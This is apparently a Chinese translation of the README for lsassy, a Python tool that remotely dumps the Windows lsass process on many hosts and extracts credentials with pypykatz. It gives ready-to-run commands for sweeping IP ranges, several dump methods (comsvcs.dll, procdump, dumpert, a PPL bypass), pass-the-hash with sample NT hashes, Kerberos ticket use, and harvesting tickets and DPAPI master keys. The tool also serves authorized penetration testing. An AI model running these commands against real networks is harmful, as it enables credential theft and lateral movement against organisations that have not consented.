用于在一组主机上远程提取凭据的Python工具。这篇博客文章解释了其工作原理。
该工具使用impacket项目远程读取lsass转储中的必要字节,并使用pypykatz提取凭据。
| 章节 | 描述 |
|---|---|
| 警告 | 使用此工具前请阅读此章节 |
| 安装 | Lsassy安装 |
| 基本用法 | 基本lsassy用法 |
| 高级用法 | 高级lsassy用法及参数说明 |
| 添加转储方法 | 如何添加自定义lsass转储方法 |
| 致谢 | 感谢这些人员及工具 |
| 官方Discord | 官方Discord服务器 |
尽管我已尽一切努力使工具稳定,但发生错误时可能会留下痕迹。
该工具可能因无法删除lsass转储而遗留下某些转储文件(即使它极力尝试这样做),或者因无法删除计划任务而使其保持运行。这种情况不应发生,但有可能。现在你已了解,请谨慎使用。
lsassy 适用于 python >= 3.7
python3 -m pip install lsassy
python3 setup.py install
lsassy 可直接用于多个目标(IP、范围、CIDR、主机名、FQDN、包含目标列表的文件)
lsassy [-d domain] -u pixis -p P4ssw0rd targets
lsassy [-d domain] -u pixis -H [LM:]NT targets
默认情况下,lsassy 将尝试使用 comsvcs.dll 方法远程转储lsass,可通过WMI或远程计划任务实现。
lsassy 可以使用Kerberos进行身份验证。这需要在 KRB5CCNAME 环境变量中提供一个有效的TGT。更多细节请参见高级用法。
lsassy -k targets
lsassy -d hackn.lab -u pixis -p P4ssw0rd 192.168.1.0/24
lsassy -d hackn.lab -u pixis -p P4ssw0rd 192.168.1.1-10
lsassy -d hackn.lab -u pixis -p P4ssw0rd hosts.txt
lsassy -d hackn.lab -u pixis -p P4ssw0rd 192.168.1.1-192.168.1.10
lsassy 实现了多种lsass转储方法,并提供了一些选项让用户控制工具的执行方式。
lsassy 划分为多个模块
+-----------+
| 写入器 |
+-----+-----+
|
|
+----------+ +-----+-----+ +---------+
| 解析器 |------| 核心 |----| 会话 |
+----------+ +-----+-----+ +---------+
|
|
+-----------+
| 转储器 |-+
| 方法 | |-+ +----------+
+-----+-----+ | |----| 文件 |
+-----------+ | +----------+
+------------+
|
|
+-----------+
| 执行器 |-+
| 方法 | |-+
+-----+-----+ | |
+-----------+ |
+------------+
该模块是编排器。它使用提供的参数和选项创建lsassy类,然后调用不同模块来检索凭据。
该模块用于日志记录。
这是一个构建在Impacket之上的层,行为类似于Python内置的文件对象。它重写了open、read、seek或close等方法。
该模块包含了所有转储逻辑。根据使用的方法,它会在远程主机上执行代码,以使用提供的方法转储lsass。
该模块依赖pypykatz,并使用lsassy文件模块远程解析lsass转储。
该模块处理输出部分,可以以不同格式输出到屏幕,以及/或将结果写入文件。
该工具可以通过多种方式转储lsass。
转储方法(-m 或 --method)
该方法仅使用Windows内置文件来远程提取凭据。它使用comsvcs.dll中的minidump函数转储lsass进程。
该方法上传SysInternals的procdump.exe来转储lsass进程。
该方法上传outflanknl的dumpert.exe或dumpert.dll,使用系统调用转储lsass进程。
该方法上传ricardojoserf的NativeDump.exe,仅使用NT API转储lsass进程。
该方法上传itm4n的ppldump.exe来转储lsass进程并绕过PPL。
该方法上传Ccob的Mirrordump.exe,通过LSA插件利用已打开的lsass句柄来转储。
该方法使用PowerSploit中的WER技术。
对于某些转储方法,需要提供选项,例如procdump或dumpert的路径。这些选项可以通过--options或-O参数设置,以逗号分隔的key=value列表形式提供。
... --options key=value,foo=bar
例如:
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -m procdump -O procdump_path=/opt/Sysinternals/procdump.exe
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -m dumpert -O dumpert_path=/opt/dumpert.exe
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -m dumpertdll -O dumpertdll_path=/opt/dumpert.dll
你可以通过提供--parse-only开关以及--dump-path和--dump-name参数,选择解析已转储的lsass进程。
请注意,如果选择此方法,远程lsass转储不会被删除。
例如:
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab --parse-only --dump-path "/Windows/Temp" --dump-name "lsass.dmp"
如果你不希望运行lsassy后自动删除转储文件,可以使用--keep-dump。
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab --keep-dump
Kerberos票据将被提取并保存到$HOME/.config/lsassy/tickets(ccache格式)。你可以使用-K [directory]或--kerberos-dir [directory]参数指定输出目录。如果该目录不存在,工具将在输出票据前尝试创建它。
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -K '/tmp/kerberos_tickets'
DPAPI主密钥将被提取并保存到$HOME/.config/lsassy/masterkeys.txt({GUID}:SHA1格式)。你可以使用-M [path]或--masterkeys-file [path]参数指定主密钥文件路径。如果文件路径不存在,工具将在创建文件前尝试创建它。
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -M '/tmp/keys.txt'
使用lsassy可以通过三种不同方式对远程目标进行身份验证。唯一的要求是用户需要对远程目标具有本地管理员权限。
第一种也是最明显的方式是使用明文凭据。可以是本地用户或域用户。
## 本地用户
lsassy -u pixis -p P4ssw0rd server01.hackn.lab
## 域用户
lsassy -d hackn.lab -u jsnow -p WinterIsComing server01.hackn.lab
也可以使用用户的NT哈希进行身份验证。你可以提供LM:NT或仅提供NT版本。
lsassy -d hackn.lab -u jsnow -H 38046f6aa4f7283f9a6b7e1575452109 server01.hackn.lab
aad3b435b51404eeaad3b435b51404ee
## 或
lsassy -d hackn.lab -u jsnow -H aad3b435b51404eeaad3b435b51404ee:38046f6aa4f7283f9a6b7e1575452109 server01.hackn.lab
你也可以使用Kerberos进行身份验证。为此,你需要有一个保存在磁盘上的有效票据,并且票据的路径需要设置在KRB5CCNAME环境变量中。为了测试目的,可以使用impacket的getTGT.py工具来实现。
getTGT.py hackn.lab/jsnow:WinterIsComing -dc-ip dc01.hackn.lab
此命令将请求一个TGT并保存到jsnow.ccache文件中。
为了使lsassy知道使用哪个票据,你需要显式地将票据路径设置在KRB5CCNAME环境变量中。
export KRB5CCNAME="/home/pixis/jsnow.ccache"
当正确配置后,你可以使用-k参数通过该票据进行身份验证。由于正在使用该票据,你不再需要提供其他身份验证信息。
lsassy -k server01.hackn.lab
请注意,此功能需要有效的DNS配置,可以是具有有效DNS服务器的动态配置,也可以是使用hosts文件的静态配置。此外,在生成票据和使用lsassy时,应始终使用FQDN,即使用server01.hackn.lab而不是server01。
lsassy可以使用--format或-f标志以不同格式输出凭据。
默认格式,美观清晰的凭据以金色显示。我们信任凭据。
lsassy [-d domain] -u pixis -p P4ssw0rd --format pretty targets
以json格式显示结果。当从脚本调用时很有用。
lsassy [-d domain] -u pixis -p P4ssw0rd --format json targets
可grep的输出,在单行命令中很有用。